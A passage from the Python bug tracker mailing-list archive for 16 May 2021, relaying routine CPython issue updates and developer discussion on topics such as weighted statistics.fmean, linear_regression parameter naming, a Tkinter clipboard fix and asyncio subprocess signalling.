_______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 13:25:58 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 16 May 2021 17:25:58 +0000 Subject: [issue44149] difflib.get_close_matches: Add `key` argument In-Reply-To: <1621181640.96.0.125589891054.issue44149@roundup.psfhosted.org> Message-ID: <1621185958.38.0.345901269413.issue44149@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 13:47:26 2021 From: report at bugs.python.org (Pete Wicken) Date: Sun, 16 May 2021 17:47:26 +0000 Subject: [issue33433] ipaddress is_private misleading for IPv4 mapped IPv6 addresses In-Reply-To: <1525527294.14.0.682650639539.issue33433@psf.upfronthosting.co.za> Message-ID: <1621187246.1.0.167040959422.issue33433@roundup.psfhosted.org> Change by Pete Wicken : ---------- keywords: +patch pull_requests: +24799 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26172 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 13:51:04 2021 From: report at bugs.python.org (Pete Wicken) Date: Sun, 16 May 2021 17:51:04 +0000 Subject: [issue33433] ipaddress is_private misleading for IPv4 mapped IPv6 addresses In-Reply-To: <1525527294.14.0.682650639539.issue33433@psf.upfronthosting.co.za> Message-ID: <1621187464.54.0.132182261465.issue33433@roundup.psfhosted.org> Pete Wicken added the comment: I've opened a PR that should hopefully address this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 14:54:20 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 16 May 2021 18:54:20 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621191260.68.0.955128049141.issue40452@roundup.psfhosted.org> Terry J. Reedy added the comment: Serhiy: what do you know of tcl finalization? Tal: why does your patch only expose the option that you said crashes ubuntu. Spacekiwigames: if you have a cpython fork and local repository, you could try the patch on your linux mint. ---------- nosy: +Spacekiwigames, serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 14:56:52 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 16 May 2021 18:56:52 +0000 Subject: [issue44150] Add optional weights parameter to statistics.fmean() Message-ID: <1621191412.92.0.705417843904.issue44150@roundup.psfhosted.org> New submission from Raymond Hettinger : Weighted averages are another basic that we should support. A professor assigns a grade for a course by weighting quizzes at 20%, homework at 20%, a midterm exam at 30%, and a final exam at 30%: >>> grades = [85, 92, 83, 91] >>> weights = [0.20, 0.20, 0.30, 0.30] >>> fmean(grades, weights) 87.6 The API here matches that for harmonic_mean() and random.choices(), the other places where we support optional weights. ---------- components: Library (Lib) messages: 393751 nosy: rhettinger, steven.daprano priority: normal severity: normal status: open title: Add optional weights parameter to statistics.fmean() type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 15:00:42 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 16 May 2021 19:00:42 +0000 Subject: [issue44150] Add optional weights parameter to statistics.fmean() In-Reply-To: <1621191412.92.0.705417843904.issue44150@roundup.psfhosted.org> Message-ID: <1621191642.35.0.834598573636.issue44150@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- keywords: +patch pull_requests: +24800 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26175 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 15:02:07 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sun, 16 May 2021 19:02:07 +0000 Subject: [issue44147] [WinError 193] %1 is not a valid Win32 application In-Reply-To: <1621163700.55.0.343536154291.issue44147@roundup.psfhosted.org> Message-ID: <1621191727.96.0.205336415129.issue44147@roundup.psfhosted.org> Shreyan Avigyan added the comment: Can you provide the full traceback log of at least one of the import failures. Try importing matplotlib, for example, and extract the traceback log. Usually this error occurs due to PATH conflicts. This issue is thoroughly discussed in https://github.com/pytorch/pytorch/issues/27693. You may find a answer there. If your problem still persists then please provide the full traceback here to help everyone further debug your issue. ---------- nosy: +shreyanavigyan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 15:16:16 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 16 May 2021 19:16:16 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621192576.55.0.231848068746.issue40452@roundup.psfhosted.org> Terry J. Reedy added the comment: Tal: cancel comment above. I was confused because FinalizeThread is exposed as just finalize. On Windows, PR fixes issue whether Shell or editor is closed last. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 15:48:29 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 16 May 2021 19:48:29 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression Message-ID: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> New submission from Raymond Hettinger : The current signature is: linear_regression(regressor, dependent_variable) While the term "regressor" is used in some problem domains, it isn't well known outside of those domains. The term "independent_variable" would be better because it is common to all domains and because it is the natural counterpart to "dependent_variable". Another issue is that the return value is a named tuple in the form: LinearRegression(intercept, slope) While that order is seen in multiple linear regression, most people first learn it in algebra as the slope/intercept form: y = mx + b. That will be the natural order for a majority of users, especially given that we aren't supporting multiple linear regression. The named tuple is called LinearRegression which describes how the result was obtained rather than the result itself. The output of any process that fits data to a line is a line. The named tuple should be called Line because that is what it describes. Also, a Line class would be reusuable for other purposes that linear regression. Proposed signature: linear_regression(independent_variable, dependent_variable) -> Line(slope, intercept) ---------- components: Library (Lib) messages: 393754 nosy: pablogsal, rhettinger, steven.daprano priority: normal severity: normal status: open title: Improve parameter names and return value ordering for linear_regression type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 15:53:58 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 16 May 2021 19:53:58 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621194838.78.0.176130886054.issue40452@roundup.psfhosted.org> Terry J. Reedy added the comment: Can we backport? The change to _tkinter, not directly exposed in tkinter, could be considered an enhancement, but is necessary to fix what I consider a real bug in tkinter, and hence in IDLE. Pablo, would you allow the _tkinter change in .0b2? If we cannot backport the _tkinter change, can the tcl function be accessed through root.tk.call('????')? I am guessing that 'exit' exits the process from tcl, which is probably not what we want. https://www.tcl.tk/man/tcl8.6/TclLib/Exit.htm suggests that when tcl is loaded as an extention, Tcl_Finalize should be called instead of Tcl_Exit to *not* exit the process. ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 16:04:50 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 16 May 2021 20:04:50 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621195490.28.0.866910306674.issue40452@roundup.psfhosted.org> Terry J. Reedy added the comment: As Tal notes on the PR, the _tkinter patch is the minimum needed to fix the problem for IDLE, not the undetermined patch to tkinter that should be done to properly expose the fix to all tkinter users. If the tcl function were exposed with a presumably temporary private name, '_finalize_tcl', rather than a public name, 'finalize_tcl', then I presume we should be able to backport without question. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 16:09:34 2021 From: report at bugs.python.org (Tal Einat) Date: Sun, 16 May 2021 20:09:34 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621195774.65.0.275576184899.issue40452@roundup.psfhosted.org> Tal Einat added the comment: > Can we backport? The change to _tkinter, not directly exposed in tkinter, could be considered an enhancement, but is necessary to fix what I consider a real bug in tkinter, and hence in IDLE. I'm +1 for backporting the latest PR. It only adds the clearly internal and undocumented _tkinter.finalize_tcl(), which is only used by IDLE. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 16:40:52 2021 From: report at bugs.python.org (Tal Einat) Date: Sun, 16 May 2021 20:40:52 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621197652.43.0.777605270924.issue40452@roundup.psfhosted.org> Change by Tal Einat : ---------- versions: +Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 16:49:04 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 16 May 2021 20:49:04 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621198144.36.0.475661512549.issue44151@roundup.psfhosted.org> Raymond Hettinger added the comment: Related links: * https://support.microsoft.com/en-us/office/linest-function-84d7d0d9-6e50-4101-977a-fa7abf772b6d * https://www.khanacademy.org/math/statistics-probability/describing-relationships-quantitative-data/introduction-to-trend-lines/a/linear-regression-review * TI-84: LinReg(ax + b) See attached screen shot ---------- Added file: https://bugs.python.org/file50046/Screen Shot 2021-05-16 at 1.46.45 PM.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 16:58:11 2021 From: report at bugs.python.org (E G) Date: Sun, 16 May 2021 20:58:11 +0000 Subject: [issue44152] .isupper() does not support Polytonic Greek (but .islower() does) Message-ID: <1621198691.88.0.249264429435.issue44152@roundup.psfhosted.org> New submission from E G : ???????????? starts with an upper-case delta. '????????????'.isupper() should yield "True". ??? also fails this test: it begins with a capital Alpha with a breathing. ??? is properly parsed: isupper() is False and islower() is True. Despite the problem with .isupper(), .capitalize() does seem to work properly: '?' --> '?' and '??' --> '??' a transcript follows ==== Python 3.9.5 (default, May 4 2021, 03:36:27) Greek vs .isupper(): seems like .islower() is properly implemented but that .isupper() is not >>> '??????'.islower() True >>> '????????????'.islower() False >>> '????????????'.isupper() False >>> x = '???' >>> x.islower() False >>> x.isupper() False >>> x = '???' >>> x.isupper() False >>> x.islower() True >>> x = '??' >>> x.islower() True >>> x.isupper() False >>> x= '?' >>> x.isupper() False >>> x.islower() True >>> x.capitalize() '?' >>> '??'.capitalize() '??' ---------- messages: 393759 nosy: egun priority: normal severity: normal status: open title: .isupper() does not support Polytonic Greek (but .islower() does) type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 17:08:49 2021 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 May 2021 21:08:49 +0000 Subject: [issue41620] Python Unittest does not return results object when the test is skipped In-Reply-To: <1598205044.1.0.669094685419.issue41620@roundup.psfhosted.org> Message-ID: <1621199329.34.0.321849523364.issue41620@roundup.psfhosted.org> Change by Irit Katriel : ---------- Removed message: https://bugs.python.org/msg384971 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 17:08:58 2021 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 May 2021 21:08:58 +0000 Subject: [issue41620] Python Unittest does not return results object when the test is skipped In-Reply-To: <1598205044.1.0.669094685419.issue41620@roundup.psfhosted.org> Message-ID: <1621199338.62.0.536785606081.issue41620@roundup.psfhosted.org> Change by Irit Katriel : ---------- Removed message: https://bugs.python.org/msg393489 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 17:10:11 2021 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 May 2021 21:10:11 +0000 Subject: [issue41620] Python Unittest does not return results object when the test is skipped In-Reply-To: <1598205044.1.0.669094685419.issue41620@roundup.psfhosted.org> Message-ID: <1621199411.28.0.172228254973.issue41620@roundup.psfhosted.org> Irit Katriel added the comment: I agree with Iman that this looks like a bug because the code updates the result object with skip info but then doesn't return it. The patch needs a unit test covering this, as well as probably a doc update. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 17:49:16 2021 From: report at bugs.python.org (Eryk Sun) Date: Sun, 16 May 2021 21:49:16 +0000 Subject: [issue44147] [WinError 193] %1 is not a valid Win32 application In-Reply-To: <1621163700.55.0.343536154291.issue44147@roundup.psfhosted.org> Message-ID: <1621201756.51.0.855776186977.issue44147@roundup.psfhosted.org> Eryk Sun added the comment: The issue tracker is not a general support forum for software development. Please ask first on python-list or the users group on discuss.python.org. For now, I'm changing the status of this issue to pending. If the discussion determines that there's a bug in Python that needs to be fixed, please return with the relevant information and example code to reproduce the problem. > Usually this error occurs due to PATH conflicts. Python 3.8 and above does not use PATH when importing extension modules, nor by default with ctypes CDLL and WinDLL. See os.add_dll_directory(). Note that commonly the latter isn't needed because the directory of the loaded PYD/DLL is implicitly searched. ---------- nosy: +eryksun status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 17:53:46 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 16 May 2021 21:53:46 +0000 Subject: [issue44152] .isupper() does not support Polytonic Greek (but .islower() does) In-Reply-To: <1621198691.88.0.249264429435.issue44152@roundup.psfhosted.org> Message-ID: <1621202026.6.0.199081087977.issue44152@roundup.psfhosted.org> Serhiy Storchaka added the comment: Are you sure that all characters in ???????????? are upper-case letters? Because this is what the isupper() method tests. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 18:02:34 2021 From: report at bugs.python.org (E G) Date: Sun, 16 May 2021 22:02:34 +0000 Subject: [issue44152] [not a bug] .isupper() does not support Polytonic Greek (but .islower() does) In-Reply-To: <1621198691.88.0.249264429435.issue44152@roundup.psfhosted.org> Message-ID: <1621202554.17.0.580644217352.issue44152@roundup.psfhosted.org> E G added the comment: Oops: this is not a bug. The isupper() method tests ALL chars. Only the first char in the examples was a capital. All of the logic/tests succeed. Sorry for the error. Thanks to Serhiy S. for swift attention on this. ---------- resolution: -> not a bug title: .isupper() does not support Polytonic Greek (but .islower() does) -> [not a bug] .isupper() does not support Polytonic Greek (but .islower() does) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 18:05:19 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Sun, 16 May 2021 22:05:19 +0000 Subject: [issue44152] [not a bug] .isupper() does not support Polytonic Greek (but .islower() does) In-Reply-To: <1621198691.88.0.249264429435.issue44152@roundup.psfhosted.org> Message-ID: <1621202719.61.0.888094203881.issue44152@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 18:07:20 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 16 May 2021 22:07:20 +0000 Subject: [issue39950] Add pathlib.Path.hardlink_to() In-Reply-To: <1584060605.38.0.95953512485.issue39950@roundup.psfhosted.org> Message-ID: <1621202840.35.0.431764906014.issue39950@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24801 pull_request: https://github.com/python/cpython/pull/26178 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 18:24:45 2021 From: report at bugs.python.org (Max Marrone) Date: Sun, 16 May 2021 22:24:45 +0000 Subject: [issue44153] Signaling an asyncio subprocess raises ProcessLookupError, depending on timing Message-ID: <1621203885.3.0.0568213318431.issue44153@roundup.psfhosted.org> New submission from Max Marrone : # Summary Basic use of `asyncio.subprocess.Process.terminate()` can raise a `ProcessLookupError`, depending on the timing of the subprocess's exit. I assume (but haven't checked) that this problem extends to `.kill()` and `.send_signal()`. This breaks the expected POSIX semantics of signaling and waiting on a process. See the "Expected behavior" section. # Test case I've tested this on macOS 11.2.3 with Python 3.7.9 and Python 3.10.0a7, both installed via pyenv. ``` import asyncio import sys # Tested with: # asyncio.ThreadedChildWatcher (3.10.0a7 only) # asyncio.MultiLoopChildWatcher (3.10.0a7 only) # asyncio.SafeChildWatcher (3.7.9 and 3.10.0a7) # asyncio.FastChildWatcher (3.7.9 and 3.10.0a7) # Not tested with asyncio.PidfdChildWatcher because I'm not on Linux. WATCHER_CLASS = asyncio.FastChildWatcher async def main(): # Dummy command that should be executable cross-platform. process = await asyncio.subprocess.create_subprocess_exec( sys.executable, "--version" ) for i in range(20): # I think the problem is that the event loop opportunistically wait()s # all outstanding subprocesses on its own. Do a bunch of separate # sleep() calls to give it a bunch of chances to do this, for reliable # reproduction. # # I'm not sure if this is strictly necessary for the problem to happen. # On my machine, the problem also happens with a single sleep(2.0). await asyncio.sleep(0.1) process.terminate() # This unexpectedly errors with ProcessLookupError. print(await process.wait()) asyncio.set_child_watcher(WATCHER_CLASS()) asyncio.run(main()) ``` The `process.terminate()` call raises a `ProcessLookupError`: ``` Traceback (most recent call last): File "kill_is_broken.py", line 29, in asyncio.run(main()) File "/Users/maxpm/.pyenv/versions/3.7.9/lib/python3.7/asyncio/runners.py", line 43, in run return loop.run_until_complete(main) File "/Users/maxpm/.pyenv/versions/3.7.9/lib/python3.7/asyncio/base_events.py", line 587, in run_until_complete return future.result() File "kill_is_broken.py", line 24, in main process.terminate() # This errors with ProcessLookupError. File "/Users/maxpm/.pyenv/versions/3.7.9/lib/python3.7/asyncio/subprocess.py", line 131, in terminate self._transport.terminate() File "/Users/maxpm/.pyenv/versions/3.7.9/lib/python3.7/asyncio/base_subprocess.py", line 150, in terminate self._check_proc() File "/Users/maxpm/.pyenv/versions/3.7.9/lib/python3.7/asyncio/base_subprocess.py", line 143, in _check_proc raise ProcessLookupError() ProcessLookupError ``` # Expected behavior and discussion Normally, with POSIX semantics, the `wait()` syscall tells the operating system that we won't send any more signals to that process, and that it's safe for the operating system to recycle that process's PID. This comment from Jack O'Connor on another issue explains it well: https://bugs.python.org/issue40550#msg382427 So, I expect that on any given `asyncio.subprocess.Process`, if I call `.terminate()`, `.kill()`, or `.send_signal()` before I call `.wait()`, then: * It should not raise a `ProcessLookupError`. * The asyncio internals shouldn't do anything with a stale PID. (A stale PID is one that used to belong to our subprocess, but that we've since consumed through a `wait()` syscall, allowing the operating system to recycle it). asyncio internals are mostly over my head. But I *think* the problem is that the event loop opportunistically calls the `wait()` syscall on our child processes. So, as implemented, there's a race condition. If the event loop's `wait()` syscall happens to come before my `.terminate()` call, my `.terminate()` call will raise a `ProcessLookupError`. So, as a corollary to the expectations listed above, I think the implementation details should be either: * Ideally, the asyncio internals should not call syscall `wait()` on a process until *I* call `wait()` on that process. * Failing that, `.terminate()`, `.kill()` and `.send_signal()` should should no-op if the asyncio internals have already called `.wait()` on that process. ---------- components: asyncio messages: 393764 nosy: asvetlov, syntaxcoloring, yselivanov priority: normal severity: normal status: open title: Signaling an asyncio subprocess raises ProcessLookupError, depending on timing type: behavior versions: Python 3.10, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 18:28:20 2021 From: report at bugs.python.org (Max Marrone) Date: Sun, 16 May 2021 22:28:20 +0000 Subject: [issue44153] Signaling an asyncio subprocess might raise ProcessLookupError, even if you haven't called .wait() yet In-Reply-To: <1621203885.3.0.0568213318431.issue44153@roundup.psfhosted.org> Message-ID: <1621204100.66.0.24616574451.issue44153@roundup.psfhosted.org> Change by Max Marrone : ---------- title: Signaling an asyncio subprocess raises ProcessLookupError, depending on timing -> Signaling an asyncio subprocess might raise ProcessLookupError, even if you haven't called .wait() yet _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 18:35:52 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 16 May 2021 22:35:52 +0000 Subject: [issue39950] Add pathlib.Path.hardlink_to() In-Reply-To: <1584060605.38.0.95953512485.issue39950@roundup.psfhosted.org> Message-ID: <1621204552.9.0.0947048929122.issue39950@roundup.psfhosted.org> Gregory P. Smith added the comment: New changeset b913f47e87f788e705716ae037ee9f68b4265e69 by Miss Islington (bot) in branch '3.10': bpo-39950: Fix deprecation warning in test for `pathlib.Path.link_to()` (GH-26155) (GH-26178) https://github.com/python/cpython/commit/b913f47e87f788e705716ae037ee9f68b4265e69 ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 19:08:54 2021 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 May 2021 23:08:54 +0000 Subject: [issue40172] ZipInfo corrupts file names in some old zip archives In-Reply-To: <1585925740.74.0.493426565247.issue40172@roundup.psfhosted.org> Message-ID: <1621206534.98.0.880696907279.issue40172@roundup.psfhosted.org> Irit Katriel added the comment: Can you suggest a unit test for this? ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 19:15:01 2021 From: report at bugs.python.org (Yudilevi) Date: Sun, 16 May 2021 23:15:01 +0000 Subject: [issue40172] ZipInfo corrupts file names in some old zip archives In-Reply-To: <1621206534.98.0.880696907279.issue40172@roundup.psfhosted.org> Message-ID: Yudilevi added the comment: Hey :) Sorry that I'm not responsive, just busy. I'll add one soon. Yudi On Mon, May 17, 2021 at 12:08 AM Irit Katriel wrote: > > Irit Katriel added the comment: > > Can you suggest a unit test for this? > > ---------- > nosy: +iritkatriel > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 19:17:23 2021 From: report at bugs.python.org (Eric V. Smith) Date: Sun, 16 May 2021 23:17:23 +0000 Subject: [issue44146] Format string fill not handling brace char In-Reply-To: <1621157543.56.0.155922835812.issue44146@roundup.psfhosted.org> Message-ID: <1621207043.14.0.576193528757.issue44146@roundup.psfhosted.org> Eric V. Smith added the comment: In the future, if you get an error, please tell us what the error is. It makes responding to bugs easier. '{::>10d'.format(5) Gives me an error with 3.10: >>> '{::>10d'.format(5) Traceback (most recent call last): File "", line 1, in ValueError: unmatched '{' in format spec And your second example: >>> '{:{>10d'.format(5) Traceback (most recent call last): File "", line 1, in ValueError: unmatched '{' in format spec This root cause of treating left braces as special is because braces can nest. I don't think there's any way of doing what you want, just like you can't use a closing brace as part of a format spec while using str.format() or f-strings. width=10 >>> f'{5:{width}}' ' 5' >>> '{0:{1}}'.format(5, width) ' 5' If you really want to use braces in the format spec, you should use format, which does not parse braces: >>> format(5, '{>10d') '{{{{{{{{{5' ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 19:37:08 2021 From: report at bugs.python.org (Iman Tabrizian) Date: Sun, 16 May 2021 23:37:08 +0000 Subject: [issue41620] Python Unittest does not return results object when the test is skipped In-Reply-To: <1598205044.1.0.669094685419.issue41620@roundup.psfhosted.org> Message-ID: <1621208228.06.0.294314577324.issue41620@roundup.psfhosted.org> Iman Tabrizian added the comment: I'll add a documentation and unit test and update the PR. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 19:46:19 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 16 May 2021 23:46:19 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621208779.22.0.254922382194.issue40452@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: > Pablo, would you allow the _tkinter change in .0b2? I checked the change and I think is scoped enough and doesn't change the public API (and it solves a bug). Is fine with me, but please make sure of the following: * At least a core dev reviews and approves the change. * You run with the buildbots before merging. Thanks for checking! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 19:49:56 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 16 May 2021 23:49:56 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621208996.21.0.305121590394.issue44151@roundup.psfhosted.org> Steven D'Aprano added the comment: I agree with you that "regressor" is too obscure and should be changed. I disagree about the "y = mx + c". Haven't we already discussed this? That form is used in linear algebra, but not used in statistics. Quoting from Yale: "A linear regression line has an equation of the form Y = a + bX, where X is the explanatory variable and Y is the dependent variable. The slope of the line is b, and a is the intercept (the value of y when x = 0)." http://www.stat.yale.edu/Courses/1997-98/101/linreg.htm This function is being used for statistics, not linear algebra. The users of the module are not people doing linear algebra, and most users of statistics will be familiar with the Y = a + bX form (or possibly reversed order bX + a). The TI-84 offers two linear regression functions, ax+b and a+bx. So does the Casio Classpad. The Nspire calls them a+bx and mx+b. https://www.statology.org/linear-regression-ti-84-calculator/ I've seen: a + bx ax + b bx + a mx + c mx + b among others. I don't think that there is any justification for claiming that a majority of users will be most familiar with mx+b. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 19:53:01 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 16 May 2021 23:53:01 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621209181.72.0.965512949735.issue44151@roundup.psfhosted.org> Steven D'Aprano added the comment: > The named tuple should be called Line because that is what it describes. Also, a Line class would be reusuable for other purposes that linear regression. I think that most people would expect that a Line class would represent a straight line widget in a GUI, not the coefficients of a linear equation. The result tuple represents an equation (or at least the coefficients of such), not the line itself. If it doesn't have a .draw() method, I don't think we should call it "Line". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 19:59:56 2021 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 May 2021 23:59:56 +0000 Subject: [issue36464] Python 2.7 build install fails intermittently with -j on MacOS In-Reply-To: <1553811277.77.0.695389248612.issue36464@roundup.psfhosted.org> Message-ID: <1621209596.61.0.491454499581.issue36464@roundup.psfhosted.org> Irit Katriel added the comment: I closed PR 13186 because the change in it was already committed under issue36464. Can this issue be closed now as well or is there anything left to look into? ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 20:09:35 2021 From: report at bugs.python.org (Barney Gale) Date: Mon, 17 May 2021 00:09:35 +0000 Subject: [issue38671] pathlib.Path.resolve(strict=False) returns relative path on Windows if the entry does not exist In-Reply-To: <1572774931.11.0.993470333259.issue38671@roundup.psfhosted.org> Message-ID: <1621210175.14.0.0990087598577.issue38671@roundup.psfhosted.org> Change by Barney Gale : ---------- nosy: +barneygale nosy_count: 8.0 -> 9.0 pull_requests: +24802 pull_request: https://github.com/python/cpython/pull/26184 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 20:19:20 2021 From: report at bugs.python.org (Barney Gale) Date: Mon, 17 May 2021 00:19:20 +0000 Subject: [issue42234] pathlib relative_to behaviour change In-Reply-To: <1604245703.4.0.361207259352.issue42234@roundup.psfhosted.org> Message-ID: <1621210760.98.0.794903690678.issue42234@roundup.psfhosted.org> Barney Gale added the comment: That does sound pretty useful! I'd be happy to review a PR though I'm not a core dev. ---------- nosy: +barneygale _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 20:52:08 2021 From: report at bugs.python.org (Carol Willing) Date: Mon, 17 May 2021 00:52:08 +0000 Subject: [issue36464] Python 2.7 build install fails intermittently with -j on MacOS In-Reply-To: <1553811277.77.0.695389248612.issue36464@roundup.psfhosted.org> Message-ID: <1621212728.27.0.728446243089.issue36464@roundup.psfhosted.org> Carol Willing added the comment: @iritkatriel Thanks for the follow up. I'm going to close this as I haven't seen any issues with -j on MacOS. ---------- resolution: -> not a bug stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 20:54:45 2021 From: report at bugs.python.org (Barney Gale) Date: Mon, 17 May 2021 00:54:45 +0000 Subject: [issue42234] pathlib relative_to behaviour change In-Reply-To: <1604245703.4.0.361207259352.issue42234@roundup.psfhosted.org> Message-ID: <1621212885.57.0.11343635005.issue42234@roundup.psfhosted.org> Barney Gale added the comment: In fact, I think this is a duplicate of issue40358, which has an open PR against it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 20:55:46 2021 From: report at bugs.python.org (Barney Gale) Date: Mon, 17 May 2021 00:55:46 +0000 Subject: [issue40358] pathlib's relative_to should behave like os.path.relpath In-Reply-To: <1587513783.17.0.6950267733.issue40358@roundup.psfhosted.org> Message-ID: <1621212946.0.0.0316725688919.issue40358@roundup.psfhosted.org> Barney Gale added the comment: Also requested in #42234. ---------- nosy: +barneygale _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 22:06:30 2021 From: report at bugs.python.org (Matt Harrison) Date: Mon, 17 May 2021 02:06:30 +0000 Subject: [issue44151] Improve parameter names and return value ordering for linear_regression In-Reply-To: <1621194509.14.0.657666659025.issue44151@roundup.psfhosted.org> Message-ID: <1621217190.16.0.16581942346.issue44151@roundup.psfhosted.org> Matt Harrison added the comment: The ML world has collapsed on the terms X and y. (With that capitalization). Moreover, most (Python libraries) follow the interface of scikit-learn [0]. Training a model looks like this: model = LinearRegression() model.fit(X, y) After that, the model instance has attribute that end in "_" that were learned from fitting. For linear regression[1] you get: model.coef_ # slope model.intercept_ # intercept To make predictions you call .predict: y_hat = model.predict(X) One bonus of leveraging the .fit/.predict interface (which other libraries such as XGBoost have also adopted) is that if your model is in the correct layout, you can trivially try different models. 0 - https://scikit-learn.org/stable/tutorial/basic/tutorial.html#learning-and-predicting 1 - https://scikit-learn.org/stable/modules/generated/sklearn.linear_model.LinearRegression.html#sklearn.linear_model.LinearRegression ---------- nosy: +matthewharrison _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 22:08:33 2021 From: report at bugs.python.org (Matt Harrison) Date: Mon, 17 